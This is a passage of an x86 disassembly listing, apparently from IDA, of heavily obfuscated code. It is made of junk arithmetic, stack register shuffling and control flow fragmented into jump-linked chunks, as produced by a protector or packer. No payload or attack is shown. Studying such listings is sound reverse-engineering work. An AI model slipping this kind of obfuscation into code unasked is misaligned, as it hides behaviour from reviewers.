005A402E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A45E6 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A58E3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A74C1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A7676 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7D96 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A825D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A86C6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8C6A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A901C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AAE09 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AF092 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AF5F0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AFCA2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005B003D SIZE 00000028 BYTES push ebx jmp loc_5A09FD sub_5A9EBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A9EC5 proc near ; CODE XREF: sub_5ABE0D-BB5Dj ; sub_5992DA+154F3j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059946A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00599F06 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059BF1B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C4A3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059C6FB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059D34A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E628 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059F01E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A05EE SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A0F0F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A1983 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A1EAA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A24C3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A3621 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A3F4F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A5510 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6DDA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A8344 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8464 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A8DF0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A8E33 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8F52 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AAB6E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB15E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005ABE78 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AE140 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AE7E9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AF6A2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AFA60 SIZE 00000008 BYTES sub esp, 2 mov word ptr [esp+4+var_4], cx mov cl, bl mov bl, dh mov dh, cl pop cx jmp loc_5A3621 sub_5A9EC5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A9EDC: ; CODE XREF: sub_5A118F+B8ACj add al, 0ECh add al, cl sub al, 0ECh pop cx push esi jmp loc_5A692A ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9EEA: ; CODE XREF: sub_5AA2D1-756Ej ; sub_5A7746-153Dj neg ecx jno loc_59D27C inc ecx js loc_59B879 jmp loc_5A8719 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- and al, 2Dh ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A9F00: ; CODE XREF: sub_59D6B8+D59Aj add esp, 4 push edi push esp jmp loc_5A3D28 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A9F0D: ; CODE XREF: sub_5AA810-D2B0j jmp loc_599A24 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A9F12: ; CODE XREF: sub_5A0FFF-4E6Bj jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- jmp loc_599792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A9F1A: ; CODE XREF: sub_5AC18D-DD3j add edx, edi add edx, 4D746AACh jmp loc_59B71F ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A9F27: ; CODE XREF: sub_59FE51+32C6j mov esp, [esp+0] push dword ptr [esp+0] push [esp+4+var_4] pop edx add esp, 4 push 9DEh mov [esp+4+var_4], edi mov edi, esp push ecx jmp loc_5A5A0E ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A9F47: ; CODE XREF: sub_5ADD33-C85Cj jnp loc_5AE4C0 dec ebx jz loc_5ADA64 sub ebx, 19720EBCh js loc_5AC5AC xor ebx, 668D4C46h mov ebp, ebx push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] add esp, 4 add esp, 4 add eax, 6A6652CDh add eax, ebp sub eax, 6A6652CDh jmp loc_59A4D9 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9F88: ; CODE XREF: sub_5AA2D1-C1A2j pop eax push ecx mov ecx, 2B14857h and ecx, 602C4E98h shl ecx, 4 inc ecx xor ecx, 4ABE15FCh xor ecx, 0C95B806h xor esi, ecx mov ecx, [esp-18h+arg_14] add esp, 4 jmp loc_5AF8D1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A9FB2: ; CODE XREF: sub_5A4E04+1B7Ej dec ebx and ebx, 2F4552D6h neg ebx jns loc_5A3F1B sub ebx, 772E0649h jmp loc_5A0B97 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9FCC: ; CODE XREF: sub_5AA2D1-9000j sub esi, 5B8B01DEh add esi, eax add esi, 5B8B01DEh add esi, 1E445244h push [esp+10h+var_10] jmp loc_5A615F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_5A9FE8: ; CODE XREF: sub_59F074+CB37j mov edi, ebp pop ebp mov edx, 570329F9h xor edx, edi pop edi shr edx, 2 jmp loc_59C929 ; END OF FUNCTION CHUNK FOR sub_59F074 ; =============== S U B R O U T I N E ======================================= sub_5A9FFB proc near ; CODE XREF: sub_5AA83C+27F3j sub esp, 4 sub esp, 4 jmp loc_5A8FEC sub_5A9FFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AA006: ; CODE XREF: sub_5992DA:loc_59C21Fj push ecx push eax push edx mov dl, 0C2h mov ah, dl pop edx mov ch, ah mov eax, [esp+14h+var_14] add esp, 4 jmp loc_5A1D89 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AA01E: ; CODE XREF: sub_5AF2D9-12647j push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp+4+var_4] jmp loc_5A1CD5 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- loc_5AA035: ; CODE XREF: sdfs____:005A1E06j push ebx push edi jmp loc_5B0318 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A687B loc_5AA03C: ; CODE XREF: sub_5A687B-B1B4j pop esp mov [esp+0Ch+var_C], ebp mov ebp, 5A917514h and ebp, 377600C5h xchg ecx, ebp push eax mov eax, 0FFFFFFFFh add ecx, eax pop eax xchg ecx, ebp jmp sub_59F074 ; END OF FUNCTION CHUNK FOR sub_5A687B ; --------------------------------------------------------------------------- loc_5AA05D: ; CODE XREF: sdfs____:005AF9AEj mov [esp], edi push 56E4h push esp pop dword ptr [esp] push esi push ebx mov ebx, 4 mov esi, ebx pop ebx push edi mov edi, 520A1341h add [esp+8], edi pop edi add [esp+4], esi jmp loc_5A013A ; --------------------------------------------------------------------------- loc_5AA087: ; CODE XREF: sdfs____:005A729Aj push dword ptr [esp] jmp loc_59BEFC ; --------------------------------------------------------------------------- loc_5AA08F: ; DATA XREF: sdfs____:005990C4o push eax push ecx push ebp jmp loc_5A34A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AA097: ; CODE XREF: sub_59E94B-4C4Aj jnp loc_59B05C or ecx, 21CB7975h jbe sub_5A0327 jmp loc_5A567E ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- loc_5AA0AE: ; CODE XREF: sdfs____:005AB61Dj or cl, 0DAh or cl, 4Fh add cl, 0FFh push edx mov dl, 4Fh xor dl, 10h jmp loc_5A3CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AA0C2: ; CODE XREF: sub_59EE3E+16CFj xor ebp, 70EF0FB3h jmp loc_59BE5E ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA0CD: ; CODE XREF: sub_5AA2D1-10815j ; sub_59A4E8+31FAj pop esi sub esi, 0A6F54E6Fh or eax, esi pop esi push ebp push eax mov eax, 739032FCh mov ebp, eax jmp loc_5A2401 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_5AA0E5: ; CODE XREF: sub_5AE7B8-AAD0j add ebp, 4 xchg ebp, [esp+0] mov esp, [esp+0] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_5AA0F3: ; CODE XREF: sub_5AF46F+16j sub edi, 6D6569AEh xor edi, 9A67C652h mov esi, edi pop edi push 4691h mov [esp+8+var_8], ebp push 39C72259h pop ebp jmp loc_5A8DA0 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA115: ; CODE XREF: sub_5AA2D1+52B1j or ebp, 11610895h dec ebp dec ebp shr ebp, 4 sub ebp, 93F352A1h sub ecx, ebp pop ebp jmp loc_5A0D71 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5AA12E: ; CODE XREF: sub_599D0E+3C1Bj add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp+0] mov esp, [esp+0] mov [esp+0], edx push esi push 41856FD5h pop esi push edi mov edi, 7BBD024Fh sub edi, 47422C94h add esi, edi jmp loc_5A2564 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5AA160: ; CODE XREF: sub_59BA35-1589j ; sub_5A0AA2:loc_59A7AFj push 535Bh mov [esp+10h+var_10], eax jmp loc_5A316D ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E333 loc_5AA16D: ; CODE XREF: sub_59E333+16j xor eax, 0E28F86BCh add ebp, eax pop eax add eax, ebp pop ebp sub eax, ebx sub esp, 4 mov [esp-4+arg_0], esi push ebp mov ebp, 665D078Dh jmp loc_5A6126 ; END OF FUNCTION CHUNK FOR sub_59E333 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5AA18B: ; CODE XREF: sub_5ABEF6-57FDj pop ebp push ecx mov ecx, 14DE7451h add eax, ecx pop ecx dec eax neg eax sub eax, 355D94D2h sub esi, eax pop eax xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_5A8554 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA1AB: ; CODE XREF: sub_5AA2D1-ECE6j xchg ecx, [esp+4+var_4] pop esp xor ebx, eax push ebp push edi push 42509A2h mov edi, [esp+0Ch+var_C] jmp loc_5A53E9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AA1C0: ; CODE XREF: sub_59C979+D253j add esp, 4 pop dword ptr [esp+2+var_2] mov esp, [esp+0] push esi jmp loc_59EFAD ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5AA1D2: ; CODE XREF: sub_59FC02-70Aj add ebp, 13541A71h shl ebp, 4 dec ebp jo sub_59AD4D sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 30370683h add ebp, eax pop eax add eax, ebp pop ebp jmp loc_59AF25 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5AA1F8: ; CODE XREF: sub_5AAB66-4B66j sub edx, 6C8136BBh add edx, esi push ebx mov ebx, 369F7034h jmp loc_59B68E ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5AA20B: ; CODE XREF: sub_5A5EFF-A7E5j push 3EAFh mov [esp+4+var_4], eax mov eax, 310475C9h mov edi, eax mov eax, [esp+4+var_4] add esp, 4 push ebp mov ebp, 14206FD8h push ebp inc [esp+8+var_8] pop ebp shl ebp, 5 jmp loc_5A25C7 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- loc_5AA236: ; CODE XREF: sdfs____:005AF428j mov [esp], esi push esp push dword ptr [esp] jmp loc_5A2BAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA242: ; CODE XREF: sub_5AA2D1+5F49j pop eax sub edx, 39C25A60h jmp loc_59A404 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AA24E: ; CODE XREF: sub_5A6BBC-70ECj pop eax sub esp, 4 jmp loc_59BE27 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AA257: ; CODE XREF: sub_5A63DC-9CFAj xor [esp+4+var_4], ecx jmp loc_5A54E4 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AA25F: ; CODE XREF: sub_5AD795-13B3Dj pop ecx jmp loc_5A344E ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA265: ; CODE XREF: sub_5AA2D1:loc_59D8C6j jmp loc_5A991E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AA26A proc near ; CODE XREF: sub_59F3AE+78B0j ; FUNCTION CHUNK AT 0059BB52 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059EB08 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A097A SIZE 00000006 BYTES push ebp mov ebp, 4 add ecx, ebp jmp loc_59EB08 sub_5AA26A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5AA277: ; CODE XREF: sub_5A522E+41j mov edi, 14736684h jmp loc_59F492 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AA281: ; CODE XREF: sub_5AA2D1:loc_5AD1D9j neg ah jmp loc_5AD941 ; --------------------------------------------------------------------------- loc_5AA288: ; CODE XREF: sub_5AA2D1-F3FCj ; sub_5AA2D1-CB07j mov ebx, [esp+0] add esp, 4 inc ebp jmp loc_5A4D2D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AA294: ; CODE XREF: sub_59CBE1+11F1j add edx, 4 add edx, 4 xor edx, [esp+6+var_8+2] xor [esp+6+var_8+2], edx xor edx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] pop [esp+6+var_8+2] mov esp, [esp+2+var_4+2] push [esp+2+var_4+2] jmp loc_5AACEA ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- loc_5AA2BA: ; CODE XREF: sdfs____:005A334Dj sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx mov bh, ah mov ch, bh pop ebx jmp loc_59FD0E ; =============== S U B R O U T I N E ======================================= sub_5AA2D1 proc near ; CODE XREF: sub_5992DA+B80Dj var_36 = dword ptr -36h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_2A = dword ptr -2Ah var_26 = dword ptr -26h var_22 = dword ptr -22h var_1A = dword ptr -1Ah var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_30 = dword ptr 34h arg_36 = dword ptr 3Ah ; FUNCTION CHUNK AT 0059922D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005992B5 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00599353 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059944E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599477 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059953D SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00599649 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059965E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059969C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005997CF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005998C6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005998EA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059995F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00599A04 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599A3B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599AB3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00599C6F SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00599CCD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00599D8A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00599DB7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00599EC4 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00599FB4 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0059A057 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059A06D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059A0CA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059A196 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A1BF SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059A2CF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059A2EB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059A3C0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059A404 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A458 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059A4CD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A52D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A57E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059A5EF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059A658 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A9F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059AA5A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AA79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AAA5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059AC13 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0059ACC3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059AD70 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059ADA3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AED0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059AFF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B114 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059B1F5 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059B285 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059B365 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059B377 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B391 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059B3E4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059B463 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059B48A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059B588 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B5CD SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059B60B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059B683 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B6E1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059B757 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B7A2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059B7CF SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059B819 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059B879 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059B92D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059B9D9 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059BAB5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059BB34 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059BB4A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059BBCE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059BC48 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059BD20 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059BD4E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059BD61 SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0059BE6B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059BEB1 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059BEE5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059BF41 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C087 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C152 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C1DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059C23B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059C30D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059C385 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059C3EC SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059C42F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059C446 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059C49B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C4B0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059C5CF SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0059C6E7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059C754 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059C77B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059C79B SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059C901 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059C965 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059C980 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059CA78 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059CA8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059CAF7 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0059CB45 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059CBC4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059CC3B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059CCE5 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059CD1D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059CD5C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059CD71 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059CF29 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059CFA2 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059D05E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059D073 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 0059D0C7 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059D105 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059D134 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059D216 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059D254 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059D292 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0059D2D8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059D307 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059D336 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059D4B9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D54F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059D57C SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0059D5CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D61E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059D639 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059D6F7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059D746 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0059D7B2 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0059D8C6 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059D954 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059D96F SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059DA57 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059DAB3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059DC01 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0059DC4D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059DE9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059DEB7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059DEE8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DF01 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DF7D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E030 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059E05B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E0AE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059E116 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059E262 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059E39B SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0059E3FA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059E572 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059E5E6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059E5FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059E642 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059E67D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059E7E8 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059E95D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059EA54 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059EBF5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 